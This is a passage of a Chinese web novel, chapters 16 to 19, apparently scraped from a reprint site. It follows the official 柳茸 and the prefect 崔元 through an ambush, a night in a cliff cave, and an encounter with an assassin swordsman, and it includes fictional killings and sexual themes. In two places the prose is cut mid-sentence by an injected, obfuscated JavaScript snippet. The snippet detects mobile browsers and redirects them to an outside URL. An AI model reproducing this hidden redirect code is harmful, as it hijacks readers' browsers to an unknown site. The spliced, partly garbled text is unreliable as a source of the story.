“太后免了你的罪,但没有免她们,贾府家伎包庇行凶,共谋杀主,本官要带走。” “你要将她们入狱?” 他没回复,摊开手中的铁鞭,“就算没有与你共谋杀主,一根鞭子孤证难立,也需带走府内伎妾问话核实。” “我都准备动刀子进去接你了,半路杀出个程咬脏。” 贾府外,叱罗红花总算等到柳茸出来,大喇喇坐在马上抱怨。 她用刚学的中原俗语抱怨着,落到柳茸耳中变成模糊的嗡嗡声。 抱怨累了,柳茸笑问:“真杀进去不怕公子问你的罪?” 毕竟她是崔元的府兵,不是自己的,跟着自己干出格之事已是违背府兵规矩。 红花一甩缰绳,“管他呢,人生一场图个痛快,你干的事多好玩啊,我们没中土人脑子里那么多条框,烈酒,烈马,抢杀就是乐子。” 她在马上弹起琵琶,荒腔走板唱着听不懂的歌,过路人频频注视,逐渐有人跟她和起歌来。 歌声渐盛,有人借着嘈杂在唤柳茸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782687|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳茸回头,是那位王十一跟前的一位老仆,身姿儒雅端正,悄然拿出一盒银匣,银匣里是一张张贾侯替县官藏脏的契书。 “书楼暗格里搜到的,我家主人说,姑娘昨日是在找它吧?” 柳茸万分谨慎地藏匿住,“你家主人为何要给我?” “主人说,卖个人情,不知姑娘可还钟意?” “为何不直接交给崔元?崔大人的人情应当比我值钱。” “买卖不成仁义在,主人说了,崔大人不愿意,但姑娘未必不愿,姑娘是聪明人,日后也定会高升,送得人情好办事。” 柳茸檀红的唇合了又张,“不愧是能在夺位之争明哲保身的十一皇子。” 道对面停着一辆华贵的轺车,老仆向轺车车帘私语片刻,去而复返。 “我家主人说,承姑娘吉言。” 轺车掩声离去,一如它神出鬼没的主人“王十一”,歌声唱罢作歇。 侯府贴上封条,被里里外外查抄。 这些天,崔元派人去探了侯府死去女子的亲属,但大多收了钱,害怕惹上事端,不愿出庭作证。 自从贾侯爷被杀那日后,柳茸与她同坐马车回府一路未言,贾府暗格的证据也是拖人之手转给崔元的。 即使同在一屋办公,沉默占据了大多数时间。 蜡烛烧完了,柳茸埋头书案,视线一黑,彼此都没有说话,连呼吸都听不见。 不知是谁轻悄悄的滴上蜡油,无声无息重新点上,光亮了起来,彼此继续低头做手中事。 他们之间,变回初见时,比初见时还陌生。 但也不全然无交流,如今柳茸是校书郎了,掌管益州官署典籍文书,崔元常要教百姓习字,常要与她商议章程。 他们的谈话充斥着公务,也仅仅停留在公务上。 除了一件事上,二人会与对方相处久些,那便是有关家伎侍女的处置。 又一次不欢而散,次日,柳茸收拾东西出府。 贾府藏匿帑银的宅邸被找出,据查是有人赠予贾侯,赠者不知,身份被贾侯刻意抹了,她要亲自去一趟。 正要上车时,马车帘子夹着一块如霜的布料,显然有人先一步上车。 柳茸默默掀开车帘,无声请了安,坐到另一侧。 无人说话的车轿内,车夫的挥鞭声清晰嘹亮。 车轱辘颠簸了一场,柳茸掀开帘子问安危,车夫说是走到了山坡碎石,没什么好担忧的。 她放下帘子,发现手边沾了墨渖。应当是车上办公掀帘卷到了。 然而回到轿内,柳茸呆住了。 砚台倒在地上挺尸,里中墨汁不翼而飞,全泼到那人的白衣上,那人懵然望着胸前晕出偌大的墨花。 应当是自己的袖子不止掀了帘,也掀了砚台。 那人不说话,只是怔怔地循着砚台飞溅的墨迹走向望向罪魁祸首,自己的脸。 柳茸窘迫地闭上目,匆忙帮崔元脱去上身外衣,掏出帕巾擦拭着黑色的罪孽。 墨汁就像同她使坏似的,一层透一层,不听话地晕染进里衣。 里衣很薄,崔元的胸腹一片湿淋|凸出身形。 柳茸将头埋得更低,似乎一心扑在了擦拭上。 他的身板在她手触上的霎那僵硬地一动不动。 未几,柳茸听见他的声音,他咽着嗓,“你犯了法度。” “但你杀得没错。” 16. 截杀 拿着帕巾的手动作一顿,慢慢收回。 柳茸低头,手上沾着擦拭时染的松烟墨汁。 半晌,她黑黝黝的手指上移,在崔元系着冠缨的下颌边停住。 “那我杀得漂亮吗?”她缱绻着柳叶眸。 霜白的袖子遮掩下,男人手心的念珠不自觉攥紧。 他木人石心般后仰了半分,仿佛生怕柳茸手上的墨汁真沾到自己下巴。 袖子里念珠“咯咯”响了几下,星月菩提做的珠子清脆碰撞着,柳茸听见了,眼疾手快点住后仰的男人唇心。 “不许说阿弥陀佛。” 竖起的食指与软凉的唇珠无意间交触,指节痒痒的,再移开时,崔元的唇珠染就一朵墨花。 他无声无色地自己伸手揩去,看着揩到指尖的墨痕,想了想:“尚可。” “那要不要再杀一个?”柳茸问完,见男人疑惑地看过来。 再杀一个? 柳茸蔻色的指甲象征性抹过他的喉结,“好了,杀掉了。” 染墨的胸膛紧绷一刻,他怔怔然感受着脖见残存的凉意,清薄如蝉翼,就这么划过他毫无防备的颈。 柔软的皮肉没有被真破开,但那加速的心跳依然滞留体内,用反噬的余烈牵着心口跳动。 崔元喉结上下紧了紧。 “你下次还会杀‘贾侯’吗?” 柳茸柔声轻笑,眼帘抬起又放下,“下次我会做得更滴水不漏。” 不会拖累联手的家伎。 第一次手上染血,她还不是很熟练这新鲜的体验,仔细想想,未尝不是好事,若再有下次,自己明白了要处理哪里,血要抹多久才干净。 就像现在抹墨汁一样。 泼在崔元身上的墨顽固至极,怎么擦都免不了灰黑一团,谁叫他穿太白了。 柳茸无奈停手,略带歉意问他是否介意换新衣。 “方才我一直在看你。”崔元没由来地来了句。 她不解,洗耳恭听着。 “你伏在案头没朝我看。” 柳茸潜潜回忆了下,的确,起初在车上办公是为避开尴尬。 但久了真的全神贯注到公务里去,不然也不会不留神掀翻了砚台。 她略带歉意,因为的确全然没注意他物。 “我以为被你发现了,你气恼,故意翻了砚台泼来。” 崔元嗓音涩哑,说出一个她从没考虑过的设想。 她脸上有了一抹待开的笑靥,故意问,“我为何要打翻砚台?” “惩罚我。” “你想我放过贾府家伎,但我不放,将人一个不少地收监。” 笑靥凝固于脸上,冷了下来。 他们这些时日数度不快全因此事,彼此都知晓怎么做怎么说对方更舒心,就因为清楚,谁都没作让步。 没想到崔元主动提及,她听见他唤了声“柳校书”。 “我不能放人。身为州官,若不依法行事,便是亲身破律,所以那日我必须抓你……” 他目光下潜到柳茸的手,扣押时勒肿的痕迹褪去,留下一道暗粉揭示着发生过的事。 “还疼吗?” 感受到他目之所及,柳茸索性亮出白藕般的小臂,“府里的药很好,早不疼了。” 看见无伤无痂的小臂,崔元的脸色却未转好,他欲说还休,想说些什么又匆匆落下眼眸。 “提审事了,若她们当真有难言之苦,我会酌情量刑减罚。” “好。”柳茸笑了笑。 “你不再问问我?” 柳茸摇首,“我相信你,说到便能做到。” 除非身殒。 “公子,你做了一州之长该做的事,不是么?” “情理之中,我希望公子网开一面,但我,”柳茸惭愧一笑,“我也是校书郎,每日点卯依律任职、批文、阅案,律法有多重为官之人何尝不知,所以公子,如若你做不到,我能理解,只是……” 只是我也是人。 有七情六欲,有前世里带的愤怨,有对姊妹们的痛心,不是冰冷的律令。 思绪断去,她被后方伸来的手环住,轻盈地笼罩着,如薄纱般披覆周身,却克制地不再进一步拥紧。 怀抱是那样轻,也不说话,单纯地抱着她,青禾香裹席四周,所有纷扰融化于无言之中。 崔元在她身后,似乎愣了许久才知觉自己的身体做了什么,松开搭在那身薄纱肩上的手,“得罪。” 他将手撤去,日光和煦,柳茸端的笑了,“但愿日后宦海沉浮,公子也能保有刚折不挠之心。” 光穿过她颈部下的薄纱,隐约照着山峦覆玉般的轮廓,与她杀人时一样美。 心中的尘垢又漫下了几粒,崔元唇微抿,忽然庆幸及时松开了她。 * 车程尚远,崔元说起其他事。 “你在崔府见到秘书郎不是真的。” 柳茸含笑,“是陈王殿下。” 崔元睨了她一眼,没有多说。 “你见过他?” 柳茸摇摇头。 “王十一不是他的真名,此人名讳——赵玉则,是先帝第十一子,罪妃所生,虽才学绝艳,无缘夺位之争,平素便是游山逛水,但,要小心他。” 崔元神色峻肃,“此人出现在贾府绝非偶然,他已经留意你了。” “莫非他与贪墨案有关?”柳茸不觉自己身上有令人留意的点,而是联想到赠予贾侯私宅那位藏头藏尾的人物、以及前世救走贾侯爷的人。 崔元的表情写着三个字,不好说。 “你收过他的东西吗?”他问。 非常时刻,柳茸点头拖出原委。 “以后不许收,”崔元话语冷隽,“当心有毒。” “好,我不收。”她险些轻笑出,歪着头,“公子不喜欢他?” “此人待人不诚。” “我可听闻陈王殿下在京洛有个诨名,玉郎十一。我以为,公子会和玉郎交好甚笃呢。” 崔元果真看过来,见她在笑。 “玉郎?”崔元神情微妙,少见地笑了,笑不达眼底,“原来姑娘会对男子用郎称呼啊。” 马车一阵颠簸,荡碎柳茸要出口的话。 她以为又是走到了山坡碎石,作势掀帘,崔元眼疾手快,“别出去!” “车外出了何事?”他沉声问着。 无人应答。 一摊殷红沿着帘下空隙淹进轿内,车夫已了无气息,手僵曲着牵着缰绳。 有人杀了过来。 贾侯背靠的人根本没打算放过他们。 这是道下马威,背后之人在警告他们禁止 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剑身擦着火星子一路下落,最终在一簇老藤拦截下止住。 蜀地葱郁的林丛挡住了二人。山崖上的追兵往下望,似乎在商议派人去崖底。 柳茸觉得自己快散架了,右手握着剑柄,左手拉着手上鲜血粘稠的男人。 剑柄硌得生疼,虎口发红,她不敢送一分,身下的男人蓦然笑了。 “阿茸,你若是放手,定家伎罪的人便不存在了。”他向上抬起眼,半玩笑地说着,眼眸却带着某种翘盼,似乎是在真心地建议她。 柳茸拉得更紧了。 “阿茸,我说的是真的。” “不许再说!” 他作罢,“我不说。” 下一刻,崔元兀自松开五指,淡然一笑。 手心被凉风无情灌入,柳茸心一惊,朝下看,“公子!” “附近有山洞,以你的身量应当可以荡过去。” “你就不为自己做打算?”柳茸吃力扯着。 “……我说过,你也是万民之一,没什么好纠结的。”他心里有杆秤,那份名为“自己”的权衡永远是压在最下面的。 “纵使救了我,回到官邸你想救的人仍旧要按罪定罚。” 怪人。 柳茸道:“你若死了,益州的百姓岂不是更苦!” 话脱口而出间,一枚四角方正的物体被放入她掌中,她感知到了,那是自己日夜相对、公文里接触无数次却从未真正触碰的物什,刺史官印。 “不是还有柳校书吗?”崔元不紧不慢在她腕间系着绶带,一圈又一圈。 “崔元。” 第一次听柳茸直呼他的名字,不是公子,不是大人,崔元木然,须臾勾起唇角。 “把念珠丢了。” “不丢。” 天旋地转间,崔元被甩了出去,堪堪甩进山洞,茂密的草木险些将他弹出,他抓住割手的藤蔓,勉强稳住,忍痛爬上洞口。 而柳茸自己则随剑柄落了下去。 千钧之际,他来不及多想接住她。 念珠断了线,大颗大颗地,代替石榴色的花裙,滚落不见底的山崖。 17. 相拥 自手心相接起,有什么事物变得不一样了。 断线如蛇,缠绕彼此腕臂,一两颗乳黄的念珠卡在骨节处。 柳茸爬进洞口。 仅剩的念珠跌落洞口,很快被浓密的草绿茵吞没,消失在崔元的视线尽头。 崖底的追兵故意装扮成普通布衣,看不出来路。 崔元嘶了声,手肘断了。 承接柳茸的冲击力巨大,拗折了他本就带箭伤的手。 柳茸注意到那双触目惊心的手,草叶如刃,在他掌心割出锋利的血痕。 鲜血顺着掌纹淌到手背,流过手背箭镞射的血窟窿里。 他白衣染血,不再干净,浓墨与血交织在素锦上,画就一幅凌乱、哀美的泼墨画。 “你的念珠……”柳茸捡起地上遗留的雪白丝线。 一掌清风托起她的手腕,是崔元仅剩的一只可以活动的手。 他翻覆着她的手腕,紧着眉头,似乎在查探她的旧痕有无二次伤及。 须臾,他像是松了口气般放开桎梏的手,一向挺直的腰背靠在满是土石的穴壁上。 “断了,便不必寻。”他侧过头,修挺的鼻梁勾勒出光阴分明的轮廓,“那份念珠是师父在我入佛寺第三日亲手为我作的。” 世间独一,十余年庙香供奉、盘润,师徒情重。 崔元很惜。 一朝扯破,换了美人榴裙。 “我去替公子求一个……”虽说是无用功,寺庙香客用钱求的怎能与老僧亲手做给弟子的念珠相提并论,但这是柳茸能想出的为数不多法子。 崔元摇头,“救人一命胜七级浮屠,它能因救你而圆寂,是莫大的功德,比戴在我手上无所事事值得的多。” 崖底有人声响动,崔元收住声音。 “是陈王的人。” 他认出了其中之一。 陈王,就是赵玉则? 柳茸回想起那顶幂篱,以及那人云笼雾罩的形止姿容。 “公子回去要如何?” “参他一本。” 柳茸止住崔元的口,“不行。” 他的神情变了,明显不赞同柳茸之意。 “陈王心细如发,做事不会如此大张旗鼓,是有人买通了手下人意欲栽赃也说不定。何况若真是陈王,他是罪妃所出,母族无势,必有人与之合谋,不如静观其变,待背后之人浮出水面再一笔算账如何?” 半晌,他阖目:“好,听你的。” “你昨日说的话不是无人劝过我。” 夜半,崔元睡得不踏实,看上柳茸后背。 他们约好交替守夜,以防有任何风吹草动,柳茸背对着他在洞口,宛如月下玉作的塑像。 “他们劝成功了吗?”她问。 崔元苦笑,“成功了我还需调任出京吗?” 但这一次,他选择了向柳茸妥协,“你的声音比他们好听,我听得下去。” “睡吧。”柳茸合上他的眼,看向的却是手中的官印,他在危急关头交托于自己的官印。 生死一线,崔元不含掺任何杂质的“托孤”,她的心却升起了别样的触角。 分明生死一线,当绶带摩擦过手腕时,柳茸极其不想承认,却不得不愧怍地直视,在那个瞬间,她感受到了……快意。 她压下心底簇起的火苗,将人对准洞口甩了出去。她在害怕,怕自己再停留几分真的想松手。 那个瞬间,她窥见了自己的野心。 如若刺史是自己…… 念头旋即如冰雪被心风打散,烙印已在心底,夜深人静,不时冒出灼痛一下。 她草草收好,一夜望月。 第二天,崔元变了个人。 下颌星星点点,冒出不少青茬。 柳茸险些认不出他。 “看什么?”他略带疲惫笑着,完好的左手拿起地上的刀,在脏了的衣裳间随意抹掉土泥,“没见过吗?男人会长胡子的。” 崔元磕磕绊绊地刮着。 “你的刮法不对。”柳茸轻取过他手中刀,在他下颌稔稔腻腻地刮了起来,“这样刮更干净。” 新长的胡茬随她的每一次摆手利落细碎掉着,她手法娴熟,仿佛有数只蝴蝶栖在他的下颌,痒痒地、轻柔地啃噬。 他差些忘了,论起男人来,他恐怕还没有眼前的女子熟悉。 “……你替很多男人刮过?”崔元语气里是自己都未察觉的颤抖,发酸又发颤。 柳茸动作迟缓了半刻,忐忑地嗯了声。 “他们很有福气了。” 他鬼使神差地,或欲念驱动,或回报,拿出一把篦子探柳茸发丝间。 柳茸疼地皱眉,垂头一看篦子卡在发间打了死结。 身上的崔元有些无措,“我只是想替你梳头。” “我猜你一定没替很多女子梳过头。”柳茸拨开缠绕的篦子。 看他的神色,自己猜对了。 “一次也没有?” 他感觉到了嘲笑,脸色愈发地肃然,冷哼,“谁说没有。” 接着柳茸发间重新生出一股拉力,“这不就有了?” 篦齿在发丝间上下,生怕弄疼她,越梳越乱。幸好,如今受困山洞,也没什么好体面的。 柳茸弹走刀面星点,刮完最后一处胡茬。 刀停后,崔元已不知何时握着她的胳膊睡着了。 他手上伤未愈,不时带来一场低热昏沉睡过去。 柳茸提着裙摆挪远,被他一把反抱住,混杂着泥腥血气的青禾香从身后扑来。 “你装睡?” “跟你学的。” “有人过来了。”他道。 崖底的追兵找不到人,开始搜山。 两人屏住呼吸,听着逐渐靠近的脚步。 不断倚靠的身躯窝在彼此坏中,直到从紧张中抽离些许后,柳茸才发觉他们的距离已近到鼻息都能感知。 山洞外一声吆喝,有人发现了飞到别处的念珠,脚步声被引去了另一端。 崔元恢复呼吸,薄薄的鼻息打在柳茸后颈,多日没有受过鼻息的脖肉泛起红。 曾经,杜攸之最喜缠绵此处,但大多数时候是咬红的。 她的脖颈本不该如此敏感。柳茸想,也许是太久未经情事,对接触变得如未出阁的女子般生疏敏感。 但有一处,她是实打实觉察到了。彼此紧拥间她清晰地感受到,层层衣物阻隔下,那样事物抵住了她的腰窝,在腰窝的凹坑随主人一呼一吸浅浅啄着。想忽视都难。 崔元没注意到她的异样,双 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直到今时今日,他乌乱的衣物、未刮的青茬、染上尘土的脸于眼前相加,与一抹在她记忆里只留下极其微小份量的存在重叠。 那时她的龟奴阿宝还没从勾栏院逃走,有一天叫嚣着去教训人,说隔壁勾栏院的龟奴抢了他几吊钱。 结果寡不敌众,打输了。 少年带着伤回来,坐在后院门口擦着鼻血。 小小的人,自然敌不过几个身量长他许多的大人。 “我去和姆妈帮你说说。”柳茸见他可怜,笑着递来帕巾。 “不要!”阿宝眼神凶恶。 “为什么?姆妈出面定能帮你要回钱,也好给他们个教训。” “那不一样,”少年斜睨着眼,不服气,“那是阿姊替我求来的,不是我凭本事夺回的。” 正说着,一吊钱摔到地上。 满身脏污的人看阿宝一眼,收起乌木剑走远,身后是几个被打的龟奴。 “神、神气什么!”没想到这么快被打脸,阿宝涨红脸。 “快谢谢人家。” “他都走远了!再说谁求他帮了……” 阿宝嘟哝完,见柳茸掩唇笑着,顿觉火大,“你不许看他!等我长几年,比他强多了!” “那你还输了?” “我比他们晚生几年而已!” 冤家路窄,隔日柳茸施粥,又见到了人。 组织施粥的不是柳茸,良家小姐不想抛头露面,差遣府内婢女代替自己,婢女偷懒去戏班子听戏,又雇了清倌人来办事,几经兜转柳茸接下这份快活。 那个人抱着乌木剑,安静盘坐在角落,待人都领完才上前,讨了一碗凉透的粥。 多日没洗的发丝缠绕成一个个结节,覆住他大半张脸,看不清脸。 “已经凉了。奴替郎君热一热,可好?” 柳茸感到有目光从发丝里透出来,也没在意。 倒是前来接她的阿宝反应激烈。 阿宝扔出一吊钱,砸中那人褐黄的袍子,那人回过头,视一眼,淡然捧着粥走远。 “臭叫花子,碗不必还了,别再缠着我阿姊!” 18. 剑仙 卧龙寺下禅院处,老僧人是个怪人。 崔元与师兄弟被“扫地出门”,做起行脚僧。 老僧发话,想悟佛法?自己悟去,悟一圈再回来。 崔元越来越脏,一日不用澡豆洗身,奇痒难耐,两日不洗,呵师骂祖,三十日后,他终于肯接受水潭。 现在想来,那次流浪都是一段不愉快的时光。 寂静许久的山洞里传来鸟鸣,天光暗了下来,崔元像是放弃挣扎般,回过头。 “当年那碗粥,还能再热吗?” 柳茸笑了。 两面之缘,算不上情谊的缘分,或许彼此都没有第一时间认出。 “你是不是在留春台时便认出我了?” 崔元摇头,“来益州的路上。” 柳茸长开了,初见时他的注意力还留在与杜攸之交锋上,刻意避着目光不去看另一旁光华红艳的人,不敢对上她的容色。 “令你记得当年的模样,招笑了。”他清楚昔日自己的打扮有多狼狈。 若是允许,他宁愿柳茸一辈子不将他与那副拉碴模样联系,就让初见停留在白衣翩翩。 他对红花与其他人都百无禁忌,不在乎过去的不修边幅,唯独对柳茸,他不想她认出。 然而,柳茸还是认出了,当面问出了。 “我六岁出绣阁,九岁染疫病,十岁拜空门,养在佛寺下,师父顽劣,将一众弟子赶出门,行游期年,现在,你都知道了。”崔元有些讨扰地笑着,艰难地动着手。 半晌,作罢,“真狼狈啊,还要你来替我刮须。” 柳茸轻笑出声,“公子好过分。” 崔元不明所以。 柳茸道:“我在你面前要多狼狈有多狼狈的都有,怎么公子反倒怕我瞧见?这难道不过分吗?” “你?狼狈过?在我面前?”崔元疑惑。 随后不知想到了什么,柳茸感到腰肢一痒,腰窝间的异样微微硌人。 她住了嘴。 如此近的距离,连间隙都被填满的拥护里,再微妙的异动也藏无可藏,再细小的变换也在肌肤相贴之下原形毕露。 “公子,”柳茸低低问了句,“要吗?” 她早已经男女之事,并不避忌,更不存在为来日的夫君守贞的素节。 人天生地养,此事也是自然兴发之物,若对方是个自己并不讨厌的人,自己状态不错,也没什么不可,柳茸想。 只是,她不喜被人逼|迫。 自然之事,怎可强行? 她听见男人的吞咽声,她发出的邀请似乎是一剂强有力的迷药,令喷在她后颈间的气息陡然加重。 “要吗?”得不到言语上的回应,她又问了遍。 可是,身后的人没有了进一步的动作。就像突然来了个大罗金钟罩,将他单独隔绝。 他的呼吸在紊乱,柳茸的腿开始不自觉蜷起,双手探去。 手被握住了。 对方的手带着颤,将她不老实的手放回身前。 崔元拢了拢她后颈的散发,而后,放开了她。 换柳茸懵然了。 “不可。”崔元压下滚烫的胸膛,额头汗集雨。 大约是没睡好,大约是发热,他的双目有红色血丝,带着未犒饷的贪嗔与自厌般的克持,“现在不可。” “公子生得好,我乐意的。”她笑,“我未来的夫君也不会找你麻烦,反正我早没法为那可怜汉子守节了。” 最后一句话是调笑说的,柳茸从不认为所谓的贞洁自己需要,她自己本就无需守。 崔元咳着嗓,勉强退远身子,眼睛直直盯过来,“你刚刚……是不是察觉到了什么?” “当然是自然之物,一阴一阳之谓道。”她的檀唇被只手捂住。 “我尚未娶妻,”崔元从昏聩中醒神,仿佛刚才迷离失焦的人不是自己,枯叶般的眼转向柳茸,“不能碰你。” 他伸指想揉搓,后知后觉用来念经的念珠已经断了。 柳茸见他偶人般定住不动,似乎在缓冲着意念,片刻后,他直起腰杆,向她要了仅剩的念珠断线。 断线上有女子余温,崔元用断线替换了藤蔓,绑紧手肘夹板。 “……我在伤着,不能动力。” 他抹去额间的汗,冷静了下来,就要去作揖,被柳茸紧忙扶住。 “方才多有得罪,是崔某失态,险些酿成大错。” “何来的大错?” 崔元的脸色更不好了,“如若欢好之后,我不娶你呢?” “缘来缘去,随遇而安。”她浅闭着唇。 涧水淙淙,崔元兀地笑了,“你跟我师弟很像。” “师弟?” “日头要偏了吧?”崔元慎微地撩开洞口藤蔓一角,“你很快能见到他了。” 刺史公出断音讯超过三个时辰,官署便会收到消息,着手搜人。 为保万无一失,柳茸也已知会了红花。 也就是说,如今数方人马都在寻他们,如若要处理柳茸和崔元,眼下是最后的时机,被官府的人寻到就再不好下手。 来了。 她听见利刃掠过花草的铿锵,听见飞鸟般的衣袍风动。 不是官府的人,也不是崔府府兵的常用的利刃。 柳茸在最后关头将崔元带远,一缕刀锋正正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803986|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劈到他们谈话的坐处。 下一瞬,刺客被弹飞。 叱罗红花的脸从藤蔓里探出,麦色的皮肤露出葵霍般的神采,“自行休沐呢?” “给你们备了马,上去。” 柳茸没来得及接话就被人一个提力扔出洞口,沿着放下来的绳索爬上山崖。 官府兵分几路去搜寻他们,叱罗红花是率先找到他们的,崖上只有寥寥几人接应,不见更多的官兵。 柳茸暗叫要遭,命人快驾马。 官兵道:“刺史大人还没上来!” 柳茸回身,“先去高处放信号烟,引人来!” 崔元手上带伤,一时半会无法爬绳索上来,留在原地待命的空隙足足可以搬一波援兵。 她随一名官兵跨上马,环视着地形,锁定一处高地。 山下起雨来,雨路湿滑,刺客紧追而来,柳茸的马蹄疾打,奔入茂密的竹林。 林子茂密,周围偶尔有食铁兽的叫声。层层叠叠的竹影遮挡着马匹身形。 身后的动静果然没了。 她长舒一口气,有惊无险骑到高处,点燃信号烟。 雨势越发倾盆,信号烟断断续续放着烟,被密集的大雨打散,不消片刻,连烟头都湿透点燃不得。 柳茸怪这场大雨。 情势越来越不乐观,她只得先返回,祈往附近有官兵能看见烟雾。 墨云遮天,马蹄踏过水坑,溅起飞花。 来时的竹林已不再安全,柳茸听见除了风动,还有别的活物蛰伏在墨黑的竹林里。 锋利的刀光一闪,骑在她前头的官兵断掉脑袋。 她一个低头,抱住无头的尸骨做肉包勉强躲过下一道刀光。 日色昏暗,自己挡不住下一击的。 她摸上尸体腰间的剑自保,然而预料里的击杀并未降临。 周围有物体掉落的声音,似有人在扔笨重的棉花包袱,音色沉闷,不好听,一阵一阵的,在竹林间此起彼伏。 一滴血从焦黄的竹叶落下。 滴到柳茸眉心时,那些包袱也现了形。 被扔的不是包袱,是一块块七零八落的尸体。 竹林,暗雨,万叶千声,风开始潇潇嗦嗦。 飞鹄鸣叫了一声,天上的一根紫竹被压弯。 竹叶之间,她看见一个戴着斗笠的背影。 他站在竹上,横持一把剑。雨洗净剑身上的血,淋在竹叶间。 像无声的剑仙,又像雨中神龛上的一尊石像,肃穆地站在竹林。 随着柳茸的马蹄疾驰,斗笠转过身来。 柳茸见过他,在她的梳弄之夜,他们见过。 19. 交易 留春台的伎子长到束胸的年岁,鸨母便会挑个好时辰,扮作新嫁娘,将她的□□夜卖了。 雅称梳弄。 卖给谁?谁出价最高便卖给谁。 男人天性骨贱,就好妾不如偷,放着守身如玉的良家子不珍惜,对替风尘伎子□□趋之若鹜,不惜千金。 那是柳茸感受最难耐的一晚。 陌生、滞涩、从未有过的体验,她尚没练就来日的熟练,木讷地摸索着,全靠对方引导。 身上的男子雍容华贵,眉目和蔼,待她很温柔,可久了便嫌她不开窍,没了教人的耐心。 柳茸闭着眼,努力将恩客的脸想象成秘戏图上的宋玉潘安。 平日里是不能大吃荤腥的,要是这单买卖做好了,能吃三天肉包子呢。 她也不知道自己卖了多少钱,只知道很值、很值钱,有肉包子吃。 再睁眼,旖旎的红帐外多了道分外突兀的身影,一张如画本中走出的面孔自恩客的头顶冒出。 ——青涩、稚嫩、俊美,发梢还沾着院外带进的夜露。 来人朝柳茸做了个噤声的手势,颇带少年人的玩味。 “谁!你是什么人!” “虔州长史是吧?” 少年挑出木剑。 “虔州人饥相食,我道是为何,原来长史在乐土快活呢。” “黄口小儿,来人!” 一剑封喉。 恩客的尸身仰面倒下,跌在柳茸绵软的胸脯,血飞落大红的囍字床帐,成为囍字上最应景的一笔。 少年人杀人,血都不带擦的,天下皆在彀中。 “国之蠹虫,该杀。” 少年戴上斗笠,提剑而去,全然没看榻上的女子一眼。 更不会意识,留在勾栏院的女子,将因他一剑被推至何等境遇。 肉包子,打水漂了。 事隔多年,当夜的少年正站在紫竹上,踏竿而来。 斗笠下的脸褪去青涩,身量长了许多,轻快的衣袍绣着大片连株的金合欢,晦色里辉光熠熠。 如今的柳茸也不再是肉包子就能打发的主,拽住缰绳,一口气突围出竹林。 马匹受了惊,失心疯般甩着马背上的“束缚”。 眼看头就要挨地,衣领后一道拉力。 日月倒悬了一瞬,身体仿佛腾空而起,紧接着好似整个身躯犹如浮云一朵,轻飘飘地、安然无恙地被放到了地上。 男人收刀落鞘,蹲下身,呼出一口气,摸了摸她的头,拍拍她的鬓发,“还好,没摔坏。” 他蹲下身,用剑柄顶起斗笠一角,“嗯?你有些面熟。” 崖岸起了厮杀声,听脚步,官府的援兵收到雨前的信号烟赶来了。 男人转身斫下一根竹竿,只脚挑起,掷向竹林,暗处传来惨叫,刺客吐着血沫倒下。 有马蹄往竹林里赶,柳茸竖起耳朵,崖岸的厮杀动静小了,有马匹正往自己的方向赶,蹄声腾疾。 雨势渐淅,一个折竹般的影子坐在马背上,手上打着夹板,白衣灰黑。 崔元停下马,受伤的手指痉挛着。淋了雨,加上快马颠簸,每动一分他的手骨便痛如割心。 “打城南就收到你出事的消息了,稀奇,还能见你这副模样。”那人撇开斗笠,叼着一根柔嫩竹枝。 崔元眼尾微促,“薛不虞?” 男人应了声,“还要多谢这位姑娘的信号烟指路,人无恙,要不要去亲自检查一番,师兄?” 崔元望了柳茸一眼,女子周身没有外伤,目光回落薛不虞身上。 “说罢,要如何谢你师弟?” 崔元摆摆手,身边官兵领命围住薛不虞。 “押走。” 薛不虞:“???” “师兄弟几年未见你就是这般对我?”他被官兵屈膝跪地押住双臂,笑得促狭。 “薛容薛不虞,数度杀人拒不伏法,劫掠朝廷辎重,按律,押送官衙。” “崔子白,你没有心。”薛不虞喊得矫揉造作,恨不得押送的官兵都听见,“枉我与你同吃同住同门一场,竟被你弃如敝屣,用之后弃,弃后还用,你这样如何对得起我们的孩子啊!” 官兵埋低头,似乎没听见此中秘辛般继续着手头事。 崔元煞白脸:“押走。” 经过崔元身侧时,薛不虞啐掉竹枝,“难怪你没人要,崔子白。” 柳茸见那抹身影走前还不忘挑衅崔元一把,恣意又闹腾地被按进押送车。 只一转身,崔元泄了所有气力,支撑不住摔下马背。 他烧得厉害,懂医术的官兵细查,手肘骨折,加之骑马动荡,夹板松脱位移,伤情更重了。 只得先行回府。 “姑娘。”山脚街巷处,一名老翁叫住柳茸。 她侧身看去,是替赵玉则向她传话的老仆。 “我家主人说,请姑娘收下此物。” 一枚断了簪头的玉簪,簪背刻着官造字样。 老仆躬身笑,“宅子里带出来的。” 他故意说着笼统的字眼,但柳茸一听即会意意指何处——贾侯爷藏匿帑银的私宅。 见柳茸脸色泛起微妙变化,老仆欠了欠身,“主人说,恭贺姑娘死里逃生。” 柳茸慢慢握紧手中的玉簪。 此人,盯了自己和崔元一路。 而且知晓他们要查的私宅。 就在这时,派去搜查的官兵也传信而来,贾府私宅走水烧毁,乌烟一片。 获悉到消息,她并不意外。 既然敢劫杀朝廷命官,一场大火有什么不敢放。 她审视着老仆。 对方似乎看出她的疑心,笑笑,“主人派人去时已被烧了,只在火场找出了这枚簪子。” “这根簪子不是寻常物,对吗?” 